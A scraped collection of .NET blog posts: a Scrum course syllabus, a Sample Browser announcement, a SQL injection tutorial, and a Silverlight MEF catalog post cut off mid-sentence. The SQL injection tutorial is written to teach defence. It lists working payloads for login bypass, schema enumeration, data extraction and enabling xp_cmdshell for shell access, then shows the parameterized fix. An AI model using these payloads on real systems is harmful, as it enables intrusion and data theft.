you read Ken Schwaber’s Scrum Guide in preparation for this module and course. MODULE 3: IMPLEMENTING SCRUM IN VISUAL STUDIO 2010 This module demonstrates how to implement Scrum in Visual Studio 2010 using a Scrum process template*. The team will learn the mapping between the Scrum concepts and how they are implemented in the tool. After connecting to the shared Team Foundation Server, the team members will then return to the simulation – this time using Visual Studio to manage their product development. Mapping Scrum to Visual Studio 2010 User Story work items Task work items Bug work items Demonstration Simulation Retrospective Module 4: THE CASE STUDY In this module the team is introduced to their problem domain for the week. A kickoff meeting by the Product Owner (the instructor) will set the stage for the why and what that will take during the upcoming sprints. The team will then define the quality attributes of the project and their definition of “done.” The legacy application code will be downloaded, built, and explored, so that any bugs can be discovered and reported. Introduction to the case study Download the source code, build, and explore the application Define the quality attributes for the project Define “done” How to file effective bugs in Visual Studio 2010 Retrospective Module 5: HOTFIX This module drops the team directly into a Brownfield (legacy) experience by forcing them to analyze the existing application’s architecture and code in order to locate and fix the Product Owner’s high-priority bug(s). The team will learn best practices around finding, testing, fixing, validating, and closing a bug. How to use Architecture Explorer to visualize and explore Create a unit test to validate the existence of a bug Find and fix the bug Validate and close the bug Retrospective Module 6: PLANNING This short module introduces the team to release and sprint planning within Visual Studio 2010. The team will define and capture their goals as well as other important planning information. Release vs. Sprint planning Release planning and the Product Backlog Product Backlog prioritization Acceptance criteria and tests Sprint planning and the Sprint Backlog Creating and linking Sprint tasks Retrospective At this point the team will have the knowledge of Scrum, Visual Studio 2010, and the case study application to begin developing increments of potentially shippable functionality that meet their definition of done. Module 7: EMERGENT ARCHITECTURE This module introduces the architectural practices and tools a team can use to develop a valid design on which to develop new functionality. The teams will learn how Scrum supports good architecture and design practices. After the discussion, the teams will be presented with the product owner’s prioritized backlog so that they may select and commit to the functionality they can deliver in this sprint. Architecture and Scrum Emergent architecture Principles, patterns, and practices Visual Studio 2010 modeling tools UML and layer diagrams SPRINT 1 Retrospective Module 8: TEST DRIVEN DEVELOPMENT This module introduces Test Driven Development as a design tool and how to implement it using Visual Studio 2010. To maximize productivity and quality, a Scrum team should setup Continuous Integration to regularly build every team member’s code changes and run regression tests. Refactoring will also be defined and demonstrated in combination with Visual Studio’s Test Impact Analysis to efficiently re-run just those tests which were impacted by refactoring. Continuous integration Team Foundation Build Test Driven Development (TDD) Refactoring Test Impact Analysis SPRINT 2 Retrospective Module 9: AGILE DATABASE DEVELOPMENT This module lets the SQL Server database developers in on a little secret – they can be agile too. By using the database projects in Visual Studio 2010, the database developers can join the rest of the team. The students will see how to apply Agile database techniques within Visual Studio to support the SQL Server 2005/2008/2008R2 development lifecycle. Agile database development Visual Studio database projects Importing schema and scripts Building and deploying Generating data Unit testing SPRINT 3 Retrospective Module 10: SHIP IT Teams need to know that just because they like the functionality doesn’t mean the Product Owner will. This module revisits acceptance criteria as it pertains to acceptance testing. By refining acceptance criteria into manual test steps, team members can execute the tests, recording the results and reporting bugs in a number of ways. Manual tests will be defined and executed using the Microsoft Test Manager tool. As the Sprint completes and an increment of functionality is delivered, the team will also learn why and when they should create a branch of the codeline. Acceptance criteria Testing in Visual Studio 2010 Microsoft Test Manager Writing and running manual tests Branching SPRINT 4 Retrospective Module 11: OVERCOMING DYSFUNCTION This module introduces the many types of people, process, and tool dysfunctions that teams face in the real world. Many dysfunctions and scenarios will be identified, along with ideas and discussion for how a team might mitigate them. This module will enable you and your team to move toward independence and improve your game of Scrum when you depart class. Scrum-butts and flaccid Scrum Best practices working as a team Team challenges ScrumMaster challenges Product Owner challenges Stakeholder challenges Course Retrospective What will be expected of you and you team? This is a unique course in that it’s technically-focused, team-based, and employs timeboxes. It demands that the members of the teams self-organize and self-manage their own work to collaboratively develop increments of software. All attendees must commit to: Pay attention to all lectures and demonstrations Participate in team and group discussions Work collaboratively with other team members Obey the timebox for each activity Commit to work and do your best to deliver All teams should have these skills: Understanding of Scrum Familiarity with Visual Studio 201 C#, .NET 4.0 & ASP.NET 4.0 experience*  SQL Server 2008 development experience Software testing experience * Check with the instructor ahead of time for the exact technologies Self-organising teams Another unique attribute of this course is that it’s a technical training class being delivered to teams of developers, not pairs, and not individuals. Ideally, your actual software development team will attend the training to ensure that all necessary skills are covered. However, if you wish to attend an open enrolment course alone or with just a couple of colleagues, realize that you may be placed on a team with other attendees. The instructor will do his or her best to ensure that each team is cross-functional to tackle the case study, but there are no guarantees. You may be required to try a new role, learn a new skill, or pair with somebody unfamiliar to you. This is just good Scrum! Who should NOT take this course? Because of the nature of this course, as explained above, certain types of people should probably not attend this course: Students requiring command and control style instruction – there are no prescriptive/step-by-step (think traditional Microsoft Learning) labs in this course Students who are unwilling to work within a timebox Students who are unwilling to work collaboratively on a team Students who don’t have any skill in any of the software development disciplines Students who are unable to commit fully to their team – not only will this diminish the student’s learning experience, but it will also impact their team’s learning experience Find a course and register Download this syllabus Download the Scrum Guide Technorati Tags: Scrum,SSW,Pro Scrum Dev

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• Microsoft Channel 9 Interviews Mei Liang to Introduce Sample Browser Extension for Visual Studio 2012 and 2010

  - by Jialiang

  This morning, Microsoft Channel 9 interviewed Mei Liang - Group Manager of Microsoft All-In-One Code Framework - to introduce the newest Sample Browser extension for Visual Studio 2012 &2010.   This extension provides a way for developers to search and download more than 4500 code samples from within Visual Studio, including over 700 Windows 8 samples and more than 1000 All-In-One Code Framework customer-driven code samples. Mei shows us not only the extension, but also the standalone version of the Sample Browser.   http://channel9.msdn.com/Shows/Visual-Studio-Toolbox/Sample-Browser-Visual-Studio-Extension   Microsoft All-In-One Code Framework, working in close partnership with the Visual Studio product team and MSDN Samples Gallery, developed the Sample Browser extension for both Visual Studio 2012 and Visual Studio 2010.  As an effort to evolve the code sample use experience and improve developers' productivity, the Sample Browser allows programmers to search, download and open over 4500 code samples from within Visual Studio with just a few simple clicks.  If no existing code sample can meet the needs, developers can even request a code sample easily from Microsoft thanks to the free “Sample Request Service” offered by Microsoft All-In-One Code Framework.  Through innovations, the teams hope to put the power of tens of thousands of code samples at developers’ fingertips. In short 3 months, the Sample Browser Visual Studio Extension has been installed by 100K global users.  It is also selected as one of the six most highly regarded and commonly used tools for Visual Studio that will make your programming experience feel like never before.   Got to love the All-In-One Code Framework team! You guys know this is THE go to source for code samples. Get this extension and you'll never need to leave VS2012 (well except for bathroom trips, but that's TMI anyway... ;) Read More... From: Greg Duncan (Author of CoolThingOfTheDay) 9/6/2011 12:00 AM The one software design pattern that I have used in just about every application I’ve written is “cut-and-paste,” so the new “Sample Browser” – read sample as a noun not an adjective – is a great boon to my productivity. Read More... From: Jim O'Neil (Microsoft Developer Evangelist) 9/28/2011 12:00 AM Install: http://aka.ms/samplebrowservsx Microsoft All-In-One Code Framework also offers the standalone version of Sample Browser.   The standalone version is particularly useful to Visual Studio Express edition or Visual Studio 2008 users, who cannot install the Sample Browser Visual Studio extension.   From Grassroots’ Passion for Developers to the Innovation of Sample Browser This Sample Browser has come a very long way improving the code sample use experience.  The history can be traced back to a grass-root innovation three years ago.   In early 2009, a few MSDN forum support engineers observed that lots of developers were struggling to work in Visual Studio without adequate code samples. Programming tasks seem harder than they should be when you only read through the documentation.  Just a couple of lines of sample code could answer a lot of questions.   They had a brilliant idea: What if we produce code samples based on developers’ frequently asked programming tasks in forums, social networks and support incidents, and then aggregate all our sample code in a one-stop library to benefit developers?  And what if developers can request code samples directly from Microsoft, free of charge?  This small group of grassroots at Microsoft devoted their nights and weekends to prototyping such a customer-driven code sample library.  This simple idea eventually turned into “Microsoft All-In-One Code Framework”, aka. OneCode.  With the support from more and more passionate developers at Microsoft and the leaders in the Community and Online Support team and Microsoft Commercial Technical Services (CTS), the idea has become a continually growing library with over 1000 customer-driven code samples covering almost all Microsoft development technologies.  These code samples originated from developers’ common pains and needs should be able to help many developers.  However, if developers cannot easily discover the code samples, the effort would still be in vain.  So in early 2010, the team started the idea of Sample Browser to ease the discovery and access of these samples.  In just two months, the first version of Sample Browser was finished and released by a passionate developer.  It was a very simple application, only supporting the basic sample offline search.  Users had to download the whole 100MB sample package containing all samples first, and run the Sample Browser to search locally.   Though developers could not search and download samples on-demand, this simple application laid a solid foundation for the team’s continuous innovations of Sample Browsing experience. In 2011, MSDN Samples Gallery had a big refresh.  The online sample experience was brought to a new level thanks to its PM Steven Wilssens and the gallery team’s effort.  Microsoft All-In-One Code Framework Team saw the opportunity to realize the “on-demand” sample search and download feature with the new gallery.  The two teams formed a strong partnership to upload all the customer-driven code samples to MSDN Samples Gallery, and released the new version of Sample Browser to support “on-demand” sample downloading in April, 2011.  Mei Liang, the Group Manager of Microsoft All-In-One Code Framework, was interviewed by Channel 9 to demo the Sample Browser.  Customers love the effort and the innovation!!  This can be clearly seen from the user comments in the publishing page.   It was very encouraging to the team of All-In-One Code Framework. The team continues innovating and evolving the Sample Browser.  They found the Visual Studio product team this time, and integrated the Sample Browsing experience into the latest Visual Studio 2012.  The newly released Sample Browser Visual Studio extension makes good use of Visual Studio 2012 IDE such as the new Quick Launch bar, the code editor, the toolbar and menus to offer easy access to thousands of code samples from within the development environment.   The Visual Studio Senior Program Manager Lead - Anthony Cangialosi, the Program Manager - Murali Krishna Hosabettu Kamalesha, the MSDN Samples Gallery PM – Steven Wilssens, and the Visual Studio Senior Escalation Engineer - Ed Dore shared lots of insightful suggestions with the team.  Thanks to the brilliant cross-group collaboration inside Microsoft, tens of new features including “Local Language Support” and “Favorite Samples”, as well as a face-lifted user interface, were added to further enhance the user experience. Since the new Sample Browser Visual Studio extension was released, it has received over 100 thousand downloads and five-star ratings.  A customer told the team that he officially falls in LOVE with Microsoft All-In-One Code Framework.   The Sample Browser Innovation for Developers Never Stops! The teams would never stop improving the Sample Browser for developers’ easier lives.   The Microsoft All-In-One Code Framework, Visual Studio and MSDN Samples Gallery teams are working closely to develop the next version of Sample Browser.  Here are the key functions in development or in discussion.  We hope to learn your feedback of the effort.  You can submit your suggestions to the official Visual Studio UserVoice site.  We look forward to hearing from you! 1) Offline Sample Search This is one of the top feature requests that we have received for Sample Browser.   The Sample Browser will support the offline search mode so that developers can search downloaded code samples when they do not have internet access.  This is particularly useful to developers in Enterprises with strict proxy settings. 2) Code Snippet Support and Visual Studio Editor Integration Today, the Sample Browser supports downloading and opening sample project.   However, when developers are searching for code samples, a better user experience would be to see the code snippets in the search result first.  Developers can quickly decide if the code snippet is relevant.   They can also drag and drop the code snippet into the Visual Studio Editor to solve some simple programming tasks.  If developers want to learn more about the sample, they can then choose to download the sample project and open it in Visual Studio. 3) Enterprise Sample Sharing and Searching Large enterprises have many code samples for their own internal tools and APIs that are not appropriate to be shared publicly in MSDN Samples Gallery.   In that case, today’s Sample Browser and MSDN Samples Gallery cannot help these Enterprise developers.  The idea is to create a Code Sample Repository in TFS, and provide an additional Visual Studio extension for Enterprise developers to quickly share code samples to TFS.  The Sample Browser can be configured to connect to the TFS Code Sample Repository to search for and download code samples.  This would potentially enable the Enterprise developers to be more productive. 4) Windows Store Sample Browser With the upcoming release of Windows RT and Microsoft Surface, developers are facing a completely new world of application platform.   Not like laptop, people would often use Microsoft Surface in commute and in travel.  Internet may not be available.  Today’s Visual Studio cannot be installed and run on Windows RT, however, our enthusiastic developers would hope to spend every minute on code.  They love code!   The idea is to create a Windows Store version of Sample Browser. Search and download samples from the online Samples Gallery when the user has internet access. Browse the sample code files and learn the sample documentation of downloaded samples with or without internet access.   In addition to the "browse” function, the Sample Browser could further support “bookmark”, “learning notes”, “code review”, and “quick social sharing". Make full use of the new touch and Windows Store App UI to give developers a new “relaxing” code browsing and learning experience, anytime, anywhere. With Windows Store Sample Browser, developers can enjoy A new relaxing and enjoyable experience for developers to learn code samples You do not have to sit in front of desk and formally open Visual Studio to read code samples.  Many developers get sub-health due to staying in front of desk for a very long time.  With Windows RT, Microsoft Surface and this Windows Store Sample Browser combining with the online MSDN Samples Gallery, developers can sit in a sofa, relaxingly hold the tablet and enjoy to learn their beloved sample code with detailed documentation. Anytime, anywhere Whether you have internet access or not, whether you are at home, in office, or in commute/airplane, developers can always easily access and browse the sample code. Lightweight and fast Particularly for learning a small sample project, the Windows Store Sample Browser would be more lightweight and faster to open and browse the sample code. Please submit your feedback and suggestion to Visual Studio UserVoice.  We look forward to hearing from you and deliver a better and better sample use experience.  Happy Coding!   Special Thanks to People working behind the latest release of Sample Browser Visual Studio Extension and the great partnerships!

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• SQL Server SQL Injection from start to end

  - by Mladen Prajdic

  SQL injection is a method by which a hacker gains access to the database server by injecting specially formatted data through the user interface input fields. In the last few years we have witnessed a huge increase in the number of reported SQL injection attacks, many of which caused a great deal of damage. A SQL injection attack takes many guises, but the underlying method is always the same. The specially formatted data starts with an apostrophe (') to end the string column (usually username) check, continues with malicious SQL, and then ends with the SQL comment mark (--) in order to comment out the full original SQL that was intended to be submitted. The really advanced methods use binary or encoded text inputs instead of clear text. SQL injection vulnerabilities are often thought to be a database server problem. In reality they are a pure application design problem, generally resulting from unsafe techniques for dynamically constructing SQL statements that require user input. It also doesn't help that many web pages allow SQL Server error messages to be exposed to the user, having no input clean up or validation, allowing applications to connect with elevated (e.g. sa) privileges and so on. Usually that's caused by novice developers who just copy-and-paste code found on the internet without understanding the possible consequences. The first line of defense is to never let your applications connect via an admin account like sa. This account has full privileges on the server and so you virtually give the attacker open access to all your databases, servers, and network. The second line of defense is never to expose SQL Server error messages to the end user. Finally, always use safe methods for building dynamic SQL, using properly parameterized statements. Hopefully, all of this will be clearly demonstrated as we demonstrate two of the most common ways that enable SQL injection attacks, and how to remove the vulnerability. 1) Concatenating SQL statements on the client by hand 2) Using parameterized stored procedures but passing in parts of SQL statements As will become clear, SQL Injection vulnerabilities cannot be solved by simple database refactoring; often, both the application and database have to be redesigned to solve this problem. Concatenating SQL statements on the client This problem is caused when user-entered data is inserted into a dynamically-constructed SQL statement, by string concatenation, and then submitted for execution. Developers often think that some method of input sanitization is the solution to this problem, but the correct solution is to correctly parameterize the dynamic SQL. In this simple example, the code accepts a username and password and, if the user exists, returns the requested data. First the SQL code is shown that builds the table and test data then the C# code with the actual SQL Injection example from beginning to the end. The comments in code provide information on what actually happens. /* SQL CODE *//* Users table holds usernames and passwords and is the object of out hacking attempt */CREATE TABLE Users( UserId INT IDENTITY(1, 1) PRIMARY KEY , UserName VARCHAR(50) , UserPassword NVARCHAR(10))/* Insert 2 users */INSERT INTO Users(UserName, UserPassword)SELECT 'User 1', 'MyPwd' UNION ALLSELECT 'User 2', 'BlaBla' Vulnerable C# code, followed by a progressive SQL injection attack. /* .NET C# CODE *//*This method checks if a user exists. It uses SQL concatination on the client, which is susceptible to SQL injection attacks*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=YourServerName; database=tempdb; Integrated Security=SSPI;")) { /* This is the SQL string you usually see with novice developers. It returns a row if a user exists and no rows if it doesn't */ string sql = "SELECT * FROM Users WHERE UserName = '" + username + "' AND UserPassword = '" + password + "'"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists != "0"; } }}/*The SQL injection attack example. Username inputs should be run one after the other, to demonstrate the attack pattern.*/string username = "User 1";string password = "MyPwd";// See if we can even use SQL injection.// By simply using this we can log into the application username = "' OR 1=1 --";// What follows is a step-by-step guessing game designed // to find out column names used in the query, via the // error messages. By using GROUP BY we will get // the column names one by one.// First try the Idusername = "' GROUP BY Id HAVING 1=1--";// We get the SQL error: Invalid column name 'Id'.// From that we know that there's no column named Id. // Next up is UserIDusername = "' GROUP BY Users.UserId HAVING 1=1--";// AHA! here we get the error: Column 'Users.UserName' is // invalid in the SELECT list because it is not contained // in either an aggregate function or the GROUP BY clause.// We have guessed correctly that there is a column called // UserId and the error message has kindly informed us of // a table called Users with a column called UserName// Now we add UserName to our GROUP BYusername = "' GROUP BY Users.UserId, Users.UserName HAVING 1=1--";// We get the same error as before but with a new column // name, Users.UserPassword// Repeat this pattern till we have all column names that // are being return by the query.// Now we have to get the column data types. One non-string // data type is all we need to wreck havoc// Because 0 can be implicitly converted to any data type in SQL server we use it to fill up the UNION.// This can be done because we know the number of columns the query returns FROM our previous hacks.// Because SUM works for UserId we know it's an integer type. It doesn't matter which exactly.username = "' UNION SELECT SUM(Users.UserId), 0, 0 FROM Users--";// SUM() errors out for UserName and UserPassword columns giving us their data types:// Error: Operand data type varchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserName) FROM Users--";// Error: Operand data type nvarchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserPassword) FROM Users--";// Because we know the Users table structure we can insert our data into itusername = "'; INSERT INTO Users(UserName, UserPassword) SELECT 'Hacker user', 'Hacker pwd'; --";// Next let's get the actual data FROM the tables.// There are 2 ways you can do this.// The first is by using MIN on the varchar UserName column and // getting the data from error messages one by one like this:username = "' UNION SELECT min(UserName), 0, 0 FROM Users --";username = "' UNION SELECT min(UserName), 0, 0 FROM Users WHERE UserName > 'User 1'--";// we can repeat this method until we get all data one by one// The second method gives us all data at once and we can use it as soon as we find a non string columnusername = "' UNION SELECT (SELECT * FROM Users FOR XML RAW) as c1, 0, 0 --";// The error we get is: // Conversion failed when converting the nvarchar value // '<row UserId="1" UserName="User 1" UserPassword="MyPwd"/>// <row UserId="2" UserName="User 2" UserPassword="BlaBla"/>// <row UserId="3" UserName="Hacker user" UserPassword="Hacker pwd"/>' // to data type int.// We can see that the returned XML contains all table data including our injected user account.// By using the XML trick we can get any database or server info we wish as long as we have access// Some examples:// Get info for all databasesusername = "' UNION SELECT (SELECT name, dbid, convert(nvarchar(300), sid) as sid, cmptlevel, filename FROM master..sysdatabases FOR XML RAW) as c1, 0, 0 --";// Get info for all tables in master databaseusername = "' UNION SELECT (SELECT * FROM master.INFORMATION_SCHEMA.TABLES FOR XML RAW) as c1, 0, 0 --";// If that's not enough here's a way the attacker can gain shell access to your underlying windows server// This can be done by enabling and using the xp_cmdshell stored procedure// Enable xp_cmdshellusername = "'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;";// Create a table to store the values returned by xp_cmdshellusername = "'; CREATE TABLE ShellHack (ShellData NVARCHAR(MAX))--";// list files in the current SQL Server directory with xp_cmdshell and store it in ShellHack table username = "'; INSERT INTO ShellHack EXEC xp_cmdshell \"dir\"--";// return the data via an error messageusername = "' UNION SELECT (SELECT * FROM ShellHack FOR XML RAW) as c1, 0, 0; --";// delete the table to get clean output (this step is optional)username = "'; DELETE ShellHack; --";// repeat the upper 3 statements to do other nasty stuff to the windows server// If the returned XML is larger than 8k you'll get the "String or binary data would be truncated." error// To avoid this chunk up the returned XML using paging techniques. // the username and password params come from the GUI textboxes.bool userExists = DoesUserExist(username, password ); Having demonstrated all of the information a hacker can get his hands on as a result of this single vulnerability, it's perhaps reassuring to know that the fix is very easy: use parameters, as show in the following example. /* The fixed C# method that doesn't suffer from SQL injection because it uses parameters.*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=baltazar\sql2k8; database=tempdb; Integrated Security=SSPI;")) { //This is the version of the SQL string that should be safe from SQL injection string sql = "SELECT * FROM Users WHERE UserName = @username AND UserPassword = @password"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; // adding 2 SQL Parameters solves the SQL injection issue completely SqlParameter usernameParameter = new SqlParameter(); usernameParameter.ParameterName = "@username"; usernameParameter.DbType = DbType.String; usernameParameter.Value = username; cmd.Parameters.Add(usernameParameter); SqlParameter passwordParameter = new SqlParameter(); passwordParameter.ParameterName = "@password"; passwordParameter.DbType = DbType.String; passwordParameter.Value = password; cmd.Parameters.Add(passwordParameter); cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists == "1"; }} We have seen just how much danger we're in, if our code is vulnerable to SQL Injection. If you find code that contains such problems, then refactoring is not optional; it simply has to be done and no amount of deadline pressure should be a reason not to do it. Better yet, of course, never allow such vulnerabilities into your code in the first place. Your business is only as valuable as your data. If you lose your data, you lose your business. Period. Incorrect parameterization in stored procedures It is a common misconception that the mere act of using stored procedures somehow magically protects you from SQL Injection. There is no truth in this rumor. If you build SQL strings by concatenation and rely on user input then you are just as vulnerable doing it in a stored procedure as anywhere else. This anti-pattern often emerges when developers want to have a single "master access" stored procedure to which they'd pass a table name, column list or some other part of the SQL statement. This may seem like a good idea from the viewpoint of object reuse and maintenance but it's a huge security hole. The following example shows what a hacker can do with such a setup. /*Create a single master access stored procedure*/CREATE PROCEDURE spSingleAccessSproc( @select NVARCHAR(500) = '' , @tableName NVARCHAR(500) = '' , @where NVARCHAR(500) = '1=1' , @orderBy NVARCHAR(500) = '1')ASEXEC('SELECT ' + @select + ' FROM ' + @tableName + ' WHERE ' + @where + ' ORDER BY ' + @orderBy)GO/*Valid use as anticipated by a novice developer*/EXEC spSingleAccessSproc @select = '*', @tableName = 'Users', @where = 'UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = 'UserID'/*Malicious use SQL injectionThe SQL injection principles are the same aswith SQL string concatenation I described earlier,so I won't repeat them again here.*/EXEC spSingleAccessSproc @select = '* FROM INFORMATION_SCHEMA.TABLES FOR XML RAW --', @tableName = '--Users', @where = '--UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = '--UserID' One might think that this is a "made up" example but in all my years of reading SQL forums and answering questions there were quite a few people with "brilliant" ideas like this one. Hopefully I've managed to demonstrate the dangers of such code. Even if you think your code is safe, double check. If there's even one place where you're not using proper parameterized SQL you have vulnerability and SQL injection can bare its ugly teeth.

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• A DirectoryCatalog class for Silverlight MEF (Managed Extensibility Framework)

  - by Dixin

  In the MEF (Managed Extension Framework) for .NET, there are useful ComposablePartCatalog implementations in System.ComponentModel.Composition.dll, like: System.ComponentModel.Composition.Hosting.AggregateCatalog System.ComponentModel.Composition.Hosting.AssemblyCatalog System.ComponentModel.Composition.Hosting.DirectoryCatalog System.ComponentModel.Composition.Hosting.TypeCatalog While in Silverlight, there is a extra System.ComponentModel.Composition.Hosting.DeploymentCatalog. As a wrapper of AssemblyCatalog, it can load all assemblies in a XAP file in the web server side. Unfortunately, in silverlight there is no DirectoryCatalog to load a folder. Background There are scenarios that Silverlight application may need to load all XAP files in a folder in the web server side, for example: If the Silverlight application is extensible and supports plug-ins, there would be a /ClinetBin/Plugins/ folder in the web server, and each pluin would be an individual XAP file in the folder. In this scenario, after the application is loaded and started up, it would like to load all XAP files in /ClinetBin/Plugins/ folder. If the aplication supports themes, there would be a /ClinetBin/Themes/ folder, and each theme would be an individual XAP file too. The application would qalso need to load all XAP files in /ClinetBin/Themes/. It is useful if we have a DirectoryCatalog: DirectoryCatalog catalog = new DirectoryCatalog("/Plugins"); catalog.DownloadCompleted += (sender, e) => { }; catalog.DownloadAsync(); Obviously, the implementation of DirectoryCatalog is easy. It is just a collection of DeploymentCatalog class. Retrieve file list from a directory Of course, to retrieve file list from a web folder, the folder’s “Directory Browsing” feature must be enabled: So when the folder is requested, it responses a list of its files and folders: This is nothing but a simple HTML page: <html> <head> <title>localhost - /Folder/</title> </head> <body> <h1>localhost - /Folder/</h1> <hr> <pre> <a href="/">[To Parent Directory]</a><br> <br> 1/3/2011 7:22 PM 185 <a href="/Folder/File.txt">File.txt</a><br> 1/3/2011 7:22 PM &lt;dir&gt; <a href="/Folder/Folder/">Folder</a><br> </pre> <hr> </body> </html> For the ASP.NET Deployment Server of Visual Studio, directory browsing is enabled by default: The HTML <Body> is almost the same: <body bgcolor="white"> <h2><i>Directory Listing -- /ClientBin/</i></h2> <hr width="100%" size="1" color="silver"> <pre> <a href="/">[To Parent Directory]</a> Thursday, January 27, 2011 11:51 PM 282,538 <a href="Test.xap">Test.xap</a> Tuesday, January 04, 2011 02:06 AM &lt;dir&gt; <a href="TestFolder/">TestFolder</a> </pre> <hr width="100%" size="1" color="silver"> <b>Version Information:</b>&nbsp;ASP.NET Development Server 10.0.0.0 </body> The only difference is, IIS’s links start with slash, but here the links do not. Here one way to get the file list is read the href attributes of the links: [Pure] private IEnumerable<Uri> GetFilesFromDirectory(string html) { Contract.Requires(html != null); Contract.Ensures(Contract.Result<IEnumerable<Uri>>() != null); return new Regex( "<a href=\"(?<uriRelative>[^\"]*)\">[^<]*</a>", RegexOptions.IgnoreCase | RegexOptions.CultureInvariant) .Matches(html) .OfType<Match>() .Where(match => match.Success) .Select(match => match.Groups["uriRelative"].Value) .Where(uriRelative => uriRelative.EndsWith(".xap", StringComparison.Ordinal)) .Select(uriRelative => { Uri baseUri = this.Uri.IsAbsoluteUri ? this.Uri : new Uri(Application.Current.Host.Source, this.Uri); uriRelative = uriRelative.StartsWith("/", StringComparison.Ordinal) ? uriRelative : (baseUri.LocalPath.EndsWith("/", StringComparison.Ordinal) ? baseUri.LocalPath + uriRelative : baseUri.LocalPath + "/" + uriRelative); return new Uri(baseUri, uriRelative); }); } Please notice the folders’ links end with a slash. They are filtered by the second Where() query. The above method can find files’ URIs from the specified IIS folder, or ASP.NET Deployment Server folder while debugging. To support other formats of file list, a constructor is needed to pass into a customized method: /// <summary> /// Initializes a new instance of the <see cref="T:System.ComponentModel.Composition.Hosting.DirectoryCatalog" /> class with <see cref="T:System.ComponentModel.Composition.Primitives.ComposablePartDefinition" /> objects based on all the XAP files in the specified directory URI. /// </summary> /// <param name="uri"> /// URI to the directory to scan for XAPs to add to the catalog. /// The URI must be absolute, or relative to <see cref="P:System.Windows.Interop.SilverlightHost.Source" />. /// </param> /// <param name="getFilesFromDirectory"> /// The method to find files' URIs in the specified directory. /// </param> public DirectoryCatalog(Uri uri, Func<string, IEnumerable<Uri>> getFilesFromDirectory) { Contract.Requires(uri != null); this._uri = uri; this._getFilesFromDirectory = getFilesFromDirectory ?? this.GetFilesFromDirectory; this._webClient = new Lazy<WebClient>(() => new WebClient()); // Initializes other members. } When the getFilesFromDirectory parameter is null, the above GetFilesFromDirectory() method will be used as default. Download the directory’s XAP file list Now a public method can be created to start the downloading: /// <summary> /// Begins downloading the XAP files in the directory. /// </summary> public void DownloadAsync() { this.ThrowIfDisposed(); if (Interlocked.CompareExchange(ref this._state, State.DownloadStarted, State.Created) == 0) { this._webClient.Value.OpenReadCompleted += this.HandleOpenReadCompleted; this._webClient.Value.OpenReadAsync(this.Uri, this); } else { this.MutateStateOrThrow(State.DownloadCompleted, State.Initialized); this.OnDownloadCompleted(new AsyncCompletedEventArgs(null, false, this)); } } Here the HandleOpenReadCompleted() method is invoked when the file list HTML is downloaded. Download all XAP files After retrieving all files’ URIs, the next thing becomes even easier. HandleOpenReadCompleted() just uses built in DeploymentCatalog to download the XAPs, and aggregate them into one AggregateCatalog: private void HandleOpenReadCompleted(object sender, OpenReadCompletedEventArgs e) { Exception error = e.Error; bool cancelled = e.Cancelled; if (Interlocked.CompareExchange(ref this._state, State.DownloadCompleted, State.DownloadStarted) != State.DownloadStarted) { cancelled = true; } if (error == null && !cancelled) { try { using (StreamReader reader = new StreamReader(e.Result)) { string html = reader.ReadToEnd(); IEnumerable<Uri> uris = this._getFilesFromDirectory(html); Contract.Assume(uris != null); IEnumerable<DeploymentCatalog> deploymentCatalogs = uris.Select(uri => new DeploymentCatalog(uri)); deploymentCatalogs.ForEach( deploymentCatalog => { this._aggregateCatalog.Catalogs.Add(deploymentCatalog); deploymentCatalog.DownloadCompleted += this.HandleDownloadCompleted; }); deploymentCatalogs.ForEach(deploymentCatalog => deploymentCatalog.DownloadAsync()); } } catch (Exception exception) { error = new InvalidOperationException(Resources.InvalidOperationException_ErrorReadingDirectory, exception); } } // Exception handling. } In HandleDownloadCompleted(), if all XAPs are downloaded without exception, OnDownloadCompleted() callback method will be invoked. private void HandleDownloadCompleted(object sender, AsyncCompletedEventArgs e) { if (Interlocked.Increment(ref this._downloaded) == this._aggregateCatalog.Catalogs.Count) { this.OnDownloadCompleted(e); } } Exception handling Whether this DirectoryCatelog can work only if the directory browsing feature is enabled. It is important to inform caller when directory cannot be browsed for XAP downloading. private void HandleOpenReadCompleted(object sender, OpenReadCompletedEventArgs e) { Exception error = e.Error; bool cancelled = e.Cancelled; if (Interlocked.CompareExchange(ref this._state, State.DownloadCompleted, State.DownloadStarted) != State.DownloadStarted) { cancelled = true; } if (error == null && !cancelled) { try { // No exception thrown when browsing directory. Downloads the listed XAPs. } catch (Exception exception) { error = new InvalidOperationException(Resources.InvalidOperationException_ErrorReadingDirectory, exception); } } WebException webException = error as WebException; if (webException != null) { HttpWebResponse webResponse = webException.Response as HttpWebResponse; if (webResponse != null) { // Internally, WebClient uses WebRequest.Create() to create the WebRequest object. Here does the same thing. WebRequest request = WebRequest.Create(Application.Current.Host.Source); Contract.Assume(request != null); if (request.CreatorInstance == WebRequestCreator.ClientHttp && // Silverlight is in client HTTP handling, all HTTP status codes are supported. webResponse.StatusCode == HttpStatusCode.Forbidden) { // When directory browsing is disabled, the HTTP status code is 403 (forbidden). error = new InvalidOperationException( Resources.InvalidOperationException_ErrorListingDirectory_ClientHttp, webException); } else if (request.CreatorInstance == WebRequestCreator.BrowserHttp && // Silverlight is in browser HTTP handling, only 200 and 404 are supported. webResponse.StatusCode == HttpStatusCode.NotFound) { // When directory browsing is disabled, the HTTP status code is 404 (not found). error = new InvalidOperationException( Resources.InvalidOperationException_ErrorListingDirectory_BrowserHttp, webException); } } } this.OnDownloadCompleted(new AsyncCompletedEventArgs(error, cancelled, this)); } Please notice Silverlight 3+ application can work either in client HTTP 